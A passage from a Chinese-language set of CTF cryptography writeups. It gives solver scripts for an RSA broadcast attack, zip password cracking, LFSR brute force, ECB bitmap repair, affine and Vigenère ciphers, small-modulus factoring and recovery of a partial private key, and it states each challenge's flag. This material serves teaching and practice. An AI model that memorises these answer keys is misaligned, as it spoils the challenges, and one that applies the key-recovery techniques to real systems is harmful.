30415984800307578932946399987559088968355638354344823359397204419191241802721772499486615661699080998502439901585573950889047918537906687840725005496238621}]2.给了10组RSA的加密信息,共有10个公钥,且B包含了10个c,n,e,e都是一样的,因此想到了RSA低加密指数广播攻击。3.通过脚本获取到falg:import libnum import gmpy2 dic = [{"c": 7366067574741171461722065133242916080495505913663250330082747465383676893970411476550748394841437418105312353971095003424322679616940371123028982189502042, "e": 10, "n": 25162507052339714421839688873734596177751124036723831003300959761137811490715205742941738406548150240861779301784133652165908227917415483137585388986274803}, {"c": 21962825323300469151795920289886886562790942771546858500842179806566435767103803978885148772139305484319688249368999503784441507383476095946258011317951461, "e": 10, "n": 23976859589904419798320812097681858652325473791891232710431997202897819580634937070900625213218095330766877190212418023297341732808839488308551126409983193}, {"c": 6569689420274066957835983390583585286570087619048110141187700584193792695235405077811544355169290382357149374107076406086154103351897890793598997687053983, "e": 10, "n": 18503782836858540043974558035601654610948915505645219820150251062305120148745545906567548650191832090823482852604346478335353784501076761922605361848703623}, {"c": 4508246168044513518452493882713536390636741541551805821790338973797615971271867248584379813114125478195284692695928668946553625483179633266057122967547052, "e": 10, "n": 23383087478545512218713157932934746110721706819077423418060220083657713428503582801909807142802647367994289775015595100541168367083097506193809451365010723}, {"c": 22966105670291282335588843018244161552764486373117942865966904076191122337435542553276743938817686729554714315494818922753880198945897222422137268427611672, "e": 10, "n": 31775649089861428671057909076144152870796722528112580479442073365053916012507273433028451755436987054722496057749731758475958301164082755003195632005308493}, {"c": 17963313063405045742968136916219838352135561785389534381262979264585397896844470879023686508540355160998533122970239261072020689217153126649390825646712087, "e": 10, "n": 22246342022943432820696190444155665289928378653841172632283227888174495402248633061010615572642126584591103750338919213945646074833823905521643025879053949}, {"c": 1652417534709029450380570653973705320986117679597563873022683140800507482560482948310131540948227797045505390333146191586749269249548168247316404074014639, "e": 10, "n": 25395461142670631268156106136028325744393358436617528677967249347353524924655001151849544022201772500033280822372661344352607434738696051779095736547813043}, {"c": 15585771734488351039456631394040497759568679429510619219766191780807675361741859290490732451112648776648126779759368428205194684721516497026290981786239352, "e": 10, "n": 32056508892744184901289413287728039891303832311548608141088227876326753674154124775132776928481935378184756756785107540781632570295330486738268173167809047}, {"c": 8965123421637694050044216844523379163347478029124815032832813225050732558524239660648746284884140746788823681886010577342254841014594570067467905682359797, "e": 10, "n": 52849766269541827474228189428820648574162539595985395992261649809907435742263020551050064268890333392877173572811691599841253150460219986817964461970736553}, {"c": 13560945756543023008529388108446940847137853038437095244573035888531288577370829065666320069397898394848484847030321018915638381833935580958342719988978247, "e": 10, "n": 30415984800307578932946399987559088968355638354344823359397204419191241802721772499486615661699080998502439901585573950889047918537906687840725005496238621}] n = [] C = [] for i in dic: n.append(i["n"]) C.append(i["c"]) # for i in n: # for j in n: # if i == j: # continue # else: # if gmpy2.gcd(i, j) != 1: # print i, j N = 1 for i in n: N *= i Ni = [] for i in n: Ni.append(N / i) T = [] for i in xrange(10): T.append(long(gmpy2.invert(Ni[i], n[i]))) X = 0 for i in xrange(10): X += C[i] * Ni[i] * T[i] m10 = X % N m = gmpy2.iroot(m10, 10) print libnum.n2s(m[0])4.最终得到flag:flag{wo0_th3_tr4in_i5_leav1ng_g3t_on_it} 八、zip文件头之爆破题目描述: 我们刚刚拦截了,敌军的文件传输获取一份机密文件,请君速速破解 wirteup: 1.下载附件后,内容如下: 504B03040A0001080000626D0A49F4B5091F1E0000001200000008000000666C61672E7478746C9F170D35D0A45826A03E161FB96870EDDFC7C89A11862F9199B4CD78E7504B01023F000A0001080000626D0A49F4B5091F1E00000012000000080024000000000000002000000000000000666C61672E7478740A0020000000000001001800AF150210CAF2D1015CAEAA05CAF2D1015CAEAA05CAF2D101504B050600000000010001005A000000440000000000 很明显,504B0304是zip文件的文件头。 2.通过010 editor导入hex,然后保存为test.zip即可 3.同时也可以通过python脚本将十六进制转成zip文件# coding=utf-8 import struct # test.txt即为输入文件,test.zip即为输出文件 file = open("test.txt", "r") ss = file.read() f = open("test.zip", "wb") i = 0 while i < len(ss): s = ss[i:i+2] temp = int(s, 16) f.write(struct.pack('B', temp)) i += 2 file.close() f.close() 4.解压test.zip,发现需要解压密码,通过ziperello对zip进行破解 5.通过输入破解的密码123456,解压出压缩文件,打开flag.txt,接口获得flag6.flag为:daczcasdqwdcsdzasd九、LFSR算法解密一writeup:1.下载得到一个文件 末尾添加.zip.解压得到两个文件一个key 一个加密的py文件2. py分析根据R=int(flag[5:-1],2)以及len(flag)==25推测flag为19个二进制位,暴力解出flag即可lfsr这个算法经搜索可能是一个伪随机测试码产生器.参考:https://www.anquanke.com/post/id/1818113.python脚本获取flagdef lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) mask = 0b1010011000100011100 key=open("key","rb").read() for t in range(pow(2,19)): R=t get=0 for i in range(12): tmp=0 for j in range(8): (R,out)=lfsr(R,mask) tmp=(tmp << 1)^out if chr(tmp) != key[i]: break if i == 11: get = 1 if get == 1: print "flag{%19d}" % int(bin(t)[2:]) break 4.最终flag为:flag{1110101100001101011}十、LFSR算法解密二writeup:1.下载得到一个文件 末尾添加.zip.解压得到两个文件一个key 一个加密的py文件2.根据R=int(flag[5:-1],2)以及len(flag)==27推测flag为21个二进制位,暴力解出flag即可 3.修改上面的脚本进行爆破:def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) mask=0x100002 key=open("key","rb").read() for t in range(pow(2,21)): R=t get=0 for i in range(12): tmp=0 for j in range(8): (R,out)=lfsr(R,mask) tmp=(tmp << 1)^out if chr(tmp) != key[i]: break if i == 11: get = 1 if get == 1: print "flag{%21d}" % int(bin(t)[2:]) break 最终flag:flag{110111100101001101001} 十一、RAS解密writup:1.下载附件,解压文件,得到一个文件名为cry200https://adworld.xctf.org.cn/media/task/attachments/82f462a5eb8543899f11b46cbfb4d827.zip 2.通过命令file查看文件类型,得知是zip文件类型3.将cry200重命名为 cry200.zip,并解压得两个文件:key.pem 和 cipher.bin4.使用 RsaCtfTool 即可解密 工具使用命令: python3 RsaCtfTool.py --publickey key.pem --uncipherfile cipher.bin或者脚本:from Crypto.PublicKey import RSA from Crypto.Util.number import * from gmpy2 import * import libnum c=bytes_to_long(open('cipher.bin','rb').read()) key=RSA.importKey(open('key.pem').read()) n,e=key.n,key.e #print(hex(n)[2:]) s=iroot(n+1,2)[0] p=s-1 q=s+1 assert p*q==n and isPrime(p) and isPrime(q) d=inverse(e,(p-1)*(q-1)) print(long_to_bytes(pow(c,d,n)))5.最终得到flag:flag{how_d0_you_7urn_this_0n?}十二、RAS解密二writup:1.下载附件,解压文件,得到一个文件名为cry300https://adworld.xctf.org.cn/media/task/attachments/c9b973a1f7114c0486b0410536370380.zip2.通过命令file查看文件类型,得知是zip文件类型3.将cry300重命名为 cry300.zip,并解压得两个文件:ecb.bmp和 task.txt4.根据task.txt背景描述:Somebody leaked a still from the upcoming Happy Feet Three movie, which will be released in 4K, but Warner Bros. was smart enough to encrypt it. But those idiots used a black and white bmp format, and that wasn't their biggest mistake. Show 'em who's boss and get the flag.5.根据背景介绍,原图片应该是bmp格式,经ecb工作模式加密得ecb.bmp;由于ecb工作模式不会掩盖明文的统计规律,因此只要能够修复ecb.bmp就可以见到明文,要修复ecb.bmp,则要求文件的前128字节为bmp文件格式特有的字节6.尝试直接打开BMP文件失败,可能是因为它以某种方式加密了: 7.通过winhex查看文件开头的十六进制,并没有发现BMP头。取而代之的是字符串“ Salted__”的十六进制。该字符串暗示数据已使用OpenSSL加密。opnnssl的“Salted__”之后的8个字节是 salt(ab 31 b5 e5 ca 3d b9 4d):文件的其余部分是加密数据。根据题目名称(ecb,_it’s_easy_as_123),它可能已使用ECB进行了加密。Linux penguin Tux位图图像,就是使用了ECB对其进行加密,以说明相同的明文块被加密为相同的密文块。对于具有大量重复数据块的明文,明文中的模式在密文中仍然可以识别: 8.如果我们可以将加密的数据转换为有效的BMP,则由于有了ECB的属性,我们应该能够从未加密的BMP中找到flag 通过BMP文件格式标准,可以用一个有效的BMP头替换OpenSSL字符串+8字节salt,那么就足以打开文件了 需要确定: 位图的宽度和高度 每个像素的位数 根据task.txt文本描述图像的分辨率为 4k,因此尺寸将为3840 x 2160或4096 x2160。我们可以尝试两者。 根据BMP规范,每个像素的位数可以是1、2、4、8、16、24或32。我们也可以尝试其中的每一种。 可以使用winhex删除前16个字节 ecb.bmp(“ OpenSSL __” + 8个字节salt)并替换BMP头: HexValueDescription42 4D"BM"Magic number (unsigned integer 66, 77)76 90 7e 008294518 bytes (118+8294400)Size of the BMP file (8294400 = 3840x2160)00 00UnusedApplication specific00 00UnusedApplication specific76 00 00 00118 bytes (78+40)Offset where the pixel array (bitmap data) can be found28 00 00 0040 bytesNumber of bytes in the DIB header (from this point)00 0f 00 003840Width of the bitmap in pixels70 08 00 002160Height of the bitmap in pixels01 001 planeNumber of color planes being used04 004 bitsNumber of bits per pixel00 00 00 000BI_RGB, no pixel array compression used00 90 7e 008294400 bytesSize of the raw bitmap data (including padding)00 00 00 000 pixels/meter horizontalPrint resolution of the image,00 00 00 000 pixels/meter vertical(don't care about printing)00 00 00 000 colorsNumber of colors in the palette00 00 00 000 important colors0 means all colors are important9.将下面的十六进制删除53 61 6c 74 65 64 5f 5f ab 31 b5 e5 ca 3d b9 4df4 09 1a a5 df 88 b7 2c 0e bd 8a 73 98 15 ba 69a2 24 3e 09 94 cb 79 1e ea a1 ad 33 c8 17 66 6378 98 23 0b f0 af 20 38 f1 aa 0b f4 69 1c ec cffc d8 8e 3d 45 2a 99 b0 53 6b 50 0d 8a 3d c4 b762 9c 6a 54 f0 59 20 13 22 4f b6 e2 b6 aa 0a 8b5e 21 1a 9d cf 8c a2 f6 45 80 cb 9b b7 37 da 7f73 50 88 cb df 63 ee 22 d4 24 b3 b9 f4 24 ad 40然后再添加以下BMP字符:424d 7648 3f00 0000 0000 7600 0000 28000000 000f 0000 7008 0000 0100 0400 00000000 0048 3f00 0000 0000 0000 0000 00000000 0000 0000 0000 0000 0000 8000 00800000 0080 8000 8000 0000 8000 8000 80800000 8080 8000 c0c0 c000 0000 ff00 00ff0000 00ff ff00 ff00 0000 ff00 ff00 ffff0000 ffff ff00 ffff ffff ffff ffff ffff10.将ecb.bmp的前128字节替换为bmp文件格式特有的字节,则可以见到明文信息,实现的Python脚本如下:from Crypto.Util.number import long_to_bytes with open('ecb.bmp','rb') as f: data=f.read() pre=0x424d76483f00000000007600000028000000000f000070080000010004000000000000483f00000000000000000000000000000000000000000000008000008000000080800080000000800080008080000080808000c0c0c0000000ff0000ff000000ffff00ff000000ff00ff00ffff0000ffffff00ffffffffffffffffffffL out=long_to_bytes(pre)+data[128:] with open('out.bmp','wb') as g: g.write(out) g11.最终得到falg:flag{no_penguin_here} 十三、仿射密码基础知识:仿射密码是一种专情密码,一对一替换:1.加密函数是 e(x) = ax + b (mod m) 其中a和m 互质,m是字母的数目。2.解码函数是 d(x) = a^-1(x - b) (mod m) (打不出来凑合一下 a^-1 乘法逆元)writeup:1.下载附件,得到如下的字符串。 长度不长,大写字母和数字组成。 很容易让人想到 Base64/32 解密。MZYVMIWLGBL7CIJOGJQVOA3IN5BLYC3NHIbase系列的加密解密特征(https://www.cnblogs.com/keeye/p/12250864.html):Base64 : 由 0-9、a-z、A-Z、+、/ 及后缀 “=” 组成 将任意字节序列数据编码成ASCII字符串Base32 : 用32个可打印字符 A-Z、2-7 对任意字节数据进行编码2.通过Base62解码并没有发现什么 3.将BITSCTF 进行Base32加密 (https://www.qqxiuzi.cn/bianma/base.php)得到:IJEVIU2DKRDA==== 4.得到的这串密文与题目给出的字符串进行比对MZYVMIWLGBL7CIJOGJQVOA3IN5BLYC3NHI IJEVIU2DKRDA==== M解密两次对应的都是I,不同的字母对应的都是不同的解密字母,那么猜测可能是根据某种规则进行了字母替换。 对字母表进行编码: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 2 3 4 5 6 70 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 则有: 3 -> 11 4 -> 24 8 -> 12 20 -> 8 21 -> 21 25 -> 9 26 -> 22 5.那么,观察可得,这是仿射密码,这种密码相关介绍见:https://blog.csdn.net/x_yhy/article/details/83756908 仿射密码的a = 13和b = 4,对应表如下: 6.则密文进行仿射解密得:#coding:utf-8 #仿射密码解密 #改进欧几里得算法求线性方程的x与y def get(a, b): if b == 0: return 1, 0 else: k = a //b remainder = a % b x1, y1 = get(b, remainder) x, y =y1, x1 - k * y1 return x, y s = input("请输入解密字符:").upper() a = int(input("请输入a:")) b = int(input("请输入b:")) #求a关于26的乘法逆元 x, y = get(a, 26) a1 = x % 26 l= len(s) for i in range(l): cipher = a1 * (ord(s[i])- 65 - b) % 26 res=chr(cipher + 65) print(res, end='')MZYVMIWLGBL7CIJOGJQVOA3IN5BLYC3NHI -> IJEVIU2DKRDHWUZSKZ4VSMTUN5RDEWTNPU对 IJEVIU2DKRDHWUZSKZ4VSMTUN5RDEWTNPU进行base32解密得: 7.或者脚本解密from base64 import b32decode def solve(): s='MZYVMIWLGBL7CIJOGJQVOA3IN5BLYC3NHI' dic='ABCDEFGHIJKLMNOPQRSTUVWXYZ234567' msg=''.join([dic[(5*dic.find(x)+12)%32] for x in s]) return b32decode(msg+'='*(8-len(msg)%8)) if __name__=='__main__': #python solve.py print solve()8.最终得到falg:BITSCTF{S2VyY2tob2Zm}十四、RAS弱加密writup:1.下载附件,解压文件,得到一个文件名为bf930316910b451c94c41ce8a9d851a8文件https://adworld.xctf.org.cn/media/task/attachments/bf930316910b451c94c41ce8a9d851a8.gz2.通过命令file查看文件类型,得知是tar文件类型 3.将其重命名为ras.tar ,并解压得两个文件:flag.b64和key.pub4.分部对key.pub和flag.64的进行查看,其内容都是经过base64加密 注意:显然在第一个文件中,flag经过base64加密,跑脚本时要记得给其解密 5.利用 openssl来查看 key.pub,分别计算得到p和qroot@kali:/opt/RsaCtfTool# openssl rsa -pubin -text -modulus -in key.pubRSA Public-Key: (399 bit)Modulus: 52:a9:9e:24:9e:e7:cf:3c:0c:bf:96:3a:00:96:61: 77:2b:c9:cd:f6:e1:e3:fb:fc:6e:44:a0:7a:5e:0f: 89:44:57:a9:f8:1c:3a:e1:32:ac:56:83:d3:5b:28: ba:5c:32:42:43Exponent: 65537 (0x10001)Modulus=52A99E249EE7CF3C0CBF963A009661772BC9CDF6E1E3FBFC6E44A07A5E0F894457A9F81C3AE132AC5683D35B28BA5C324243writing RSA key-----BEGIN PUBLIC KEY-----ME0wDQYJKoZIhvcNAQEBBQADPAAwOQIyUqmeJJ7nzzwMv5Y6AJZhdyvJzfbh4/v8bkSgel4PiURXqfgcOuEyrFaD01soulwyQkMCAwEAAQ==-----END PUBLIC KEY-----得到 : e = 65537 n (hex)= 52A99E249EE7CF3C0CBF963A009661772BC9CDF6E1E3FBFC6E44A07A5E0F894457A9F81C3AE132AC5683D35B28BA5C324243(十六进制) https://tool.lu/hexconvert/n(10)= 833810193564967701912362955539789451139872863794534923259743419423089229206473091408403560311191545764221310666338878019(十进制)分解大数n,得到p、qp = 863653476616376575308866344984576466644942572246900013156919 q = 9654453043269981947982822288424847324384571705959995234269016.通过脚本对其进行解密#coding:utf-8 import gmpy2 import rsa from base64 import b64decode p = 863653476616376575308866344984576466644942572246900013156919 q = 965445304326998194798282228842484732438457170595999523426901 n = 833810193564967701912362955539789451139872863794534923259743419423089229206473091408403560311191545764221310666338878019 e = 65537 d = int(gmpy2.invert(e,(p-1)*(q-1))) privatekey = rsa.PrivateKey(n,e,d,p,q) with open("flag.b64","rb") as f: str = b64decode(f.read()) print(rsa.decrypt(str,privatekey).decode())7.最终得到flag:ALEXCTF{SMALL_PRIMES_ARE_BAD}十五、pdf之ROT13编码writeup:1.下载附件pdf,通过阅读器查看,发现文件无法查看 https://adworld.xctf.org.cn/media/task/attachments/9e45191069704531accd66f1ee1d5b2b.pdf 2.通过file命令查看文件类型 3.通过winhex查看文件,发现文件头是以:%CQS-1.5.格式开头(正常的pdf文件头部是%PDF-1.x数字开头) 4.通过ctfcrackt00ls工具对PDf关键字进行ROT13进行编码,可以看到得到CQS,正好是flag.pdf格式开头的 5.通过上述描述,进行rot13解密,得到解密后的pdf文件cat .pdf | tr 'A-Za-z' 'N-ZA-Mn-za-m' > flags.pdf6.打开pdf文件,发现部门内容被遮挡了7.通过pdftohtml工具将其覆盖的文件转换成html 8.最终得到flag:BITSCTF{save_the_kid} 十六、维吉尼亚密码基础知识:维吉尼亚密码是使用一系列凯撒密码组成密码字母表的加密算法,属于多表密码的一种简单形式.加密原理:维吉尼亚密码的前身,是我们熟悉的凯撒密码。凯撒密码的加密方式是依靠一张字母表中的每一个字母做一定的偏移。密文生成过程中,其偏移量相等。而升级版的维吉尼亚密码则是在原有基础上,让相等偏移量变为不等的偏移量。以给出的密钥来确定密文的偏移量。在一定程度上,加大了解密的难度。当然原理还是一致的,都是依靠偏移量进行加密。这是一张用于加密的字母表。 比如给出的 明文是 HELLO 假定给的关键词是 JLAY ,那么对应的密钥便为:JLAYJ 那么对其进行加密,如图:H对应J行的是Q,E对应L行的是P,以此类推。最后得到的密文变为:QPLJX writeup: 1.下载附件,根据题目提示是维吉利亚密码,查看文本内容如下 https://adworld.xctf.org.cn/media/task/attachments/429b7c1947d44bc4b7e62270d0fee6b3.zip 2.通过在线维吉尼亚解密网站对其进行解密,可以得到加密key为:icqvigenerehttps://www.guballa.de/vigenere-solver3.在result解密文本中搜索关键字flag,可得到 flag, '{' and 'vigenereisveryeasyhuh' and '}' 4.那么进行简化和去掉字符最终得到flag:flag{vigenereisveryeasyhuh} 十七、base64编码之RSA解密writeup:方法一:1.下载附件,可以看到RSA私钥上面的部分被屏蔽了请恢复私钥并解密文件,附件给出私钥编码的截图,但是只能看见最后5行附件下载:https://adworld.xctf.org.cn/media/task/attachments/92d8c7449d614543a0f9da8f05e39bbe.zip 2.OpenSSL私钥结构私钥信息按如下顺序排列:version | pad | n | pad | e | pad | d | pad | p | pad | q | pad | x1 | pad | x2 | pad | x3其中,pad是填充信息,各pad并不同,x1=d mod (p−1),x2=d mod (q−1),x3=p−1 mod qx1=d mod (p−1),x2=d mod (q−1),x3=p−1 mod q,填充pad用来注释接下来的大数的(字节)长度,\x02为pad开头的标记,有时后面接\x81或\x82,这用来标记长度值所占用的字节(\x81代表占用1个字节,\x82代表占用2个字节),有时后面不接\x81或\x82而直接放置长度;例:\x02\x03代表接下来的大数的字节长度为3个字节;\x02\x81\x80,首先,\x81代表长度占用1个字节,因此\x80就是长度值,即128,表明接下来的大数的字节长度为128个字节。将私钥信息按照上述顺序排列好之后,再进行base64编码3.利用已知信息恢复私钥截图可见编码为:Os9mhOQRdqW2cwVrnNI72DLcAXpXUJ1HGwJBANWiJcDUGxZpnERxVw7s0913WXNtV4GqdxCzG0pG5EHThtoTRbyX0aqRP4U/hQ9tRoSoDmBn+3HPITsnbCy67VkCQBM4xZPTtUKM6Xi+16VTUnFVs9E4rqwIQCDAxn9UuVMBXlX2Cl0xOGUF4C5hItrX2woF7LVS5EizR63CyRcPovMCQQDVyNbcWD7N88MhZjujKuSrHJot7WcCaRmTGEIJ6TkU8NWt9BVjR4jVkZ2EqNd0KZWdQPukeynPcLlDEkIXyaQx解码后结合OpenSSL私钥结构分析可得:x1,x2,x3为已知;但是仅有x1,x2,x3并不能恢复出p,q与d,若我们假设e为常用的指数3,65537等等,则可试出p与q:d⋅e≡1 mod (p−1)(q−1)d⋅e≡1 mod (p−1)(q−1)则有d⋅e≡1 mod (p−1)d⋅e≡1 mod (p−1)与d⋅e≡1 mod (q−1)d⋅e≡1 mod (q−1);由x1x1与x2x2的定义可得x1⋅e≡1 mod (p−1)x1⋅e≡1 mod (p−1),x2⋅e≡1 mod (q−1)x2⋅e≡1 mod (q−1);因此(p−1)|(x1⋅e−1)(p−1)|(x1⋅e−1);记x1⋅e−1=r1⋅(p−1)x1⋅e−1=r1⋅(p−1);由于x1=d mod (p−1)x1=d mod (p−1),则x1<(p−1)x1<(p−1);几乎可以看做x1⋅e=r1⋅(p−1)x1⋅e=r1⋅(p−1),那么必有r1<er1<e;同理可得r2<er2<e,其中x2⋅e−1=r2⋅(q−1)x2⋅e−1=r2⋅(q−1)可以看到,ri<e,i=1,2ri<e,i=1,2,从而可使用试除法求出ri,i=1,2ri,i=1,2;则p=(x1⋅e−1)/r1+1,q=(x2⋅e−1)/r2+1p=(x1⋅e−1)/r1+1,q=(x2⋅e−1)/r2+1;4.解题实现的Python脚本如下:from Crypto.Util.number import bytes_to_long,isPrime,inverse from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 def genKey(X1,X2,X3): e=65537L N1=X1*e-1 N2=X2*e-1 for r in range(e): if N1%(e-r)==0: p=N1/(e-r)+1 if isPrime(p): break for r in range(e): if N2%(e-r)==0: q=N2/(e-r)+1 if isPrime(q): break N=p*q phi=(p-1)*(q-1) d=inverse(e,phi) assert inverse(q,p)==X3 return RSA.construct((N,e,long(d),p,q)) def solve(): X1=bytes_to_long('\xd5\xa2%\xc0\xd4\x1b\x16i\x9cDqW\x0e\xec\xd3\xddwYsmW\x81\xaaw\x10\xb3\x1bJF\xe4A\xd3\x86\xda\x13E\xbc\x97\xd1\xaa\x91?\x85?\x85\x0fmF\x84\xa8\x0e`g\xfbq\xcf!;\'l,\xba\xedY') X2=bytes_to_long('\x138\xc5\x93\xd3\xb5B\x8c\xe9x\xbe\xd7\xa5SRqU\xb3\xd18\xae\xac\x08@ \xc0\xc6\x7fT\xb9S\x01^U\xf6\n]18e\x05\xe0.a"\xda\xd7\xdb\n\x05\xec\xb5R\xe4H\xb3G\xad\xc2\xc9\x17\x0f\xa2\xf3') X3=bytes_to_long('\xd5\xc8\xd6\xdcX>\xcd\xf3\xc3!f;\xa3*\xe4\xab\x1c\x9a-\xedg\x02i\x19\x93\x18B\t\xe99\x14\xf0\xd5\xad\xf4\x15cG\x88\xd5\x91\x9d\x84\xa8\xd7t)\x95\x9d@\xfb\xa4{)\xcfp\xb9C\x12B\x17\xc9\xa41') rsa_key=genKey(X1,X2,X3) key= PKCS1_v1_5.new(rsa_key) with open('flag.enc','rb') as f: return key.decrypt(f.read(),'') if __name__=='__main__': print solve()[:-1] 注:这里之所以猜测e为65537而不是3是因为ri<e,i=1,2ri<e,i=1,2,如果e=3可能情况太少。程序运行结果如下:$ python solve.py5.最终得到flag:0ctf{Keep_ca1m_and_s01ve_the_RSA_Eeeequati0n!!!} 方法二:1.已给出部分解密,先把已给出部分进行base64解密# -*- coding: utf-8 -*- import base64 import binascii a = """Os9mhOQRdqW2cwVrnNI72DLcAXpXUJ1HGwJBANWiJcDUGxZpnERxVw7s0913WXNt V4GqdxCzG0pG5EHThtoTRbyX0aqRP4U/hQ9tRoSoDmBn+3HPITsnbCy67VkCQBM4 xZPTtUKM6Xi+16VTUnFVs9E4rqwIQCDAxn9UuVMBXlX2Cl0xOGUF4C5hItrX2woF 7LVS5EizR63CyRcPovMCQQDVyNbcWD7N88MhZjujKuSrHJot7WcCaRmTGEIJ6TkU 8NWt9BVjR4jVkZ2EqNd0KZWdQPukeynPcLlDEkIXyaQx""" print binascii.hexlify(base64.b64decode(a))得到:3acf6684e41176a5b673056b9cd23bd832dc017a57509d471b024100d5a225c0d41b16699c4471570eecd3dd7759736d5781aa7710b31b4a46e441d386da1345bc97d1aa913f853f850f6d4684a80e6067fb71cf213b276c2cbaed5902401338c593d3b5428ce978bed7a553527155b3d138aeac084020c0c67f54b953015e55f60a5d31386505e02e6122dad7db0a05ecb552e448b347adc2c9170fa2f3024100d5c8d6dc583ecdf3c321663ba32ae4ab1c9a2ded6702691993184209e93914f0d5adf415634788d5919d84a8d77429959d40fba47b29cf70b943124217c9a4312.rsa私钥格式解析参考: OPENSSL中RSA私钥文件(PEM格式)解析 可以得知:标签头 3082025c(4 bytes) 类型为SEQUENCE 后接 604 bytes 020100 INTEGER 长度为0 内容为:VERSION 028181 INTEGER 长度为129 bytes 内容为: n(modulus) 0203 INTEGER 长度为3 bytes 内容为: e(publicExponent) 028180 INTEGER 长度为128 bytes 内容为: d(privateExponent) 0241 INTEGER 长度为65 bytes 内容为: p(prime1) 0241 INTEGER 长度为65 bytes 内容为: q(prime2) 0240 INTEGER 长度为64 bytes 内容为: d mod(p-1) exponent1 0240 INTEGER 长度为 64 bytes 内容为: d mod (q-1) exponent2 0241 INTEGER 长度为65 bytes 内容为: q -1 mod p coefficient 3.那么根据关键的标签头进行划分之后,可以得到:3acf6684e41176a5b673056b9cd23bd832dc017a57509d471b 0241//d mod(p-1) exponent1 00d5a225c0d41b16699c4471570eecd3dd7759736d5781aa7710b31b4a46e441d386da1345bc97d1aa913f853f850f6d4684a80e6067fb71cf213b276c2cbaed59 0240//d mod (q-1) exponent2 1338c593d3b5428ce978bed7a553527155b3d138aeac084020c0c67f54b953015e55f60a5d31386505e02e6122dad7db0a05ecb552e448b347adc2c9170fa2f3 0241//q -1 mod p coefficient 00d5c8d6dc583ecdf3c321663ba32ae4ab1c9a2ded6702691993184209e93914f0d5adf415634788d5919d84a8d77429959d40fba47b29cf70b943124217c9a431因为:e * dp == 1 (mod (p-1)) = d mod (p-1) e * dq == 1 (mod (q-1)) = d mod (q-1) q * qi == 1 (mod p) = q^-1 mod p 所以:(e * dp -1)/k +1 == (p)(e * dq -1)/j +1 == (q)(q * qi -1)/l == (p)4.脚本破解pq: # -*- coding: utf-8 -*- import gmpy2 d_p = 0xd5a225c0d41b16699c4471570eecd3dd7759736d5781aa7710b31b4a46e441d386da1345bc97d1aa913f853f850f6d4684a80e6067fb71cf213b276c2cbaed59 d_q = 0x1338c593d3b5428ce978bed7a553527155b3d138aeac084020c0c67f54b953015e55f60a5d31386505e02e6122dad7db0a05ecb552e448b347adc2c9170fa2f3 e = 65537 for k_p in range(1, e): if (e*d_p - 1) % k_p == 0: p = (e*d_p - 1) / k_p + 1 if gmpy2.is_prime(p): print '[p] {}'.format(p) break for k_q in range(1, e): if (e*d_q - 1) % k_q == 0: q = (e*d_q - 1) / k_q + 1 if gmpy2.is_prime(q): print '[q] {}'.format(q) break得到:[p] 12883429939639100479003058518523248493821688207697138417834631218638027564562306620214863988447681300666538212918572472128732943784711527013224777474072569[q] 125028936349231615998244651464070698822285137769477072954768059973117768558790240022895935986579497839370419296684431152244773691360895579114640461181273875.通过脚本解密:6.最终得到flag:0ctf{Keep_ca1m_and_s01ve_the_RSA_Eeeequati0n!!!} 十八、RSA256解密writeup:1.下载附件,解压文件,得到一个文件名为8eec4a4af1e14eb08648c8fda7660a0f文件 https://adworld.xctf.org.cn/media/task/attachments/8eec4a4af1e14eb08648c8fda7660a0f.gz2.通过命令file查看文件类型,得知是tar文件类型3.将其重命名为ras256.tar ,并解压得两个文件:fllllllag.txt和gy.key4.给出了公钥文件gy.key和密文文件fllllllag.txt,就是常规的RSA解密,有多种方法方法一:利用RsaCtfTool工具(kali虚拟机中) 已知公钥(自动求私钥)—publickey,密文—uncipherfile 命令:python3 RsaCtfTool.py --publickey 公钥文件 --uncipherfile 加密的文件 方法二:利用公钥文件用openssl工具解出e、n,然后python3脚本解出明文 1、解出e、n 方式1: 打开kali虚拟机,用openssl解出e、n 命令: openssl rsa -pubin -in gy.key -text -modulus e为65537,n还比较短,用python先转换成10进制 方式2: 用脚本从公钥文件中解出n、e # -*- coding: cp936 -*- from Crypto.PublicKey import RSA #1.从公钥文件中分解n和e public_key = RSA.importKey(open(r"C:\Users\backlion\Desktop\8eec4a4af1e14eb08648c8fda7660a0f\ras256\RSA256\gy.key",'rb').read()) n = public_key.n e = public_key.e print('N:',n) print('E:',e)获取模数(Modulus) N=76775333340223961139427050707840417811156978085146970312315886671546666259161(0xA9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9)公钥指数(Exponent)e=65537 (0x10001)5.对n进行因数分解 方式1:登录网站http://factordb.com/,解出p和q 方式2:使用yafu工具 (常用于比较大的整数分解)自动整数因式分解,在RSA中,当p、q的取值差异过大或过于相近的时候,使用yafu可以快速的把n值分解出p、q值! 用法: yafu-x64.exe factor(76775333340223961139427050707840417811156978085146970312315886671546666259161) 6.到此,已经获取到RSA的全部参数 p = 273821108020968288372911424519201044333 q = 280385007186315115828483000867559983517 n=76775333340223961139427050707840417811156978085146970312315886671546666259161 e=65537 使用python代码解出明文import gmpy2 import rsa p = 273821108020968288372911424519201044333 q = 280385007186315115828483000867559983517 n = 76775333340223961139427050707840417811156978085146970312315886671546666259161 e = 65537 d = int(gmpy2.invert(e , (p-1)*(q-1))) privatekey = rsa.PrivateKey(n , e , d , p , q) with open("fllllllag.txt" , "rb") as f: print(rsa.decrypt(f.read(), privatekey).decode())最终得到flag:flag{2o!9CTFECUN} 十九、rot13置换编码1.下载附件,解压压缩文件,通过记事本打开https://adworld.xctf.org.cn/media/task/attachments/cf8f3a8ed8544ab19e3c183547d1b93c.zip里面包含密文: XMVZGC RGC AMG RVMG HGFGMQYCD VT VWM BYNO, NSVWDS NSGO RAO XG UWFN AF HACDGMVWF. AIRVFN AII AMG JVRRVC-XVMC, FYRBIG TVIZ ESV SAH CGQGM XGGC RVMG NSAC A RYIG TMVR NSG SVWFG ESGMG NSGO EGMG XVMC WCNYI NSG HAO FVRG IVMH JARG MVWCH NVdeFAL NAZG NSGR VTT NV EAM. OVWM TIAD YF "CV NSYF YF CVN JMOBNV RO HGAM", YC IVEGMJAFG, EYNS 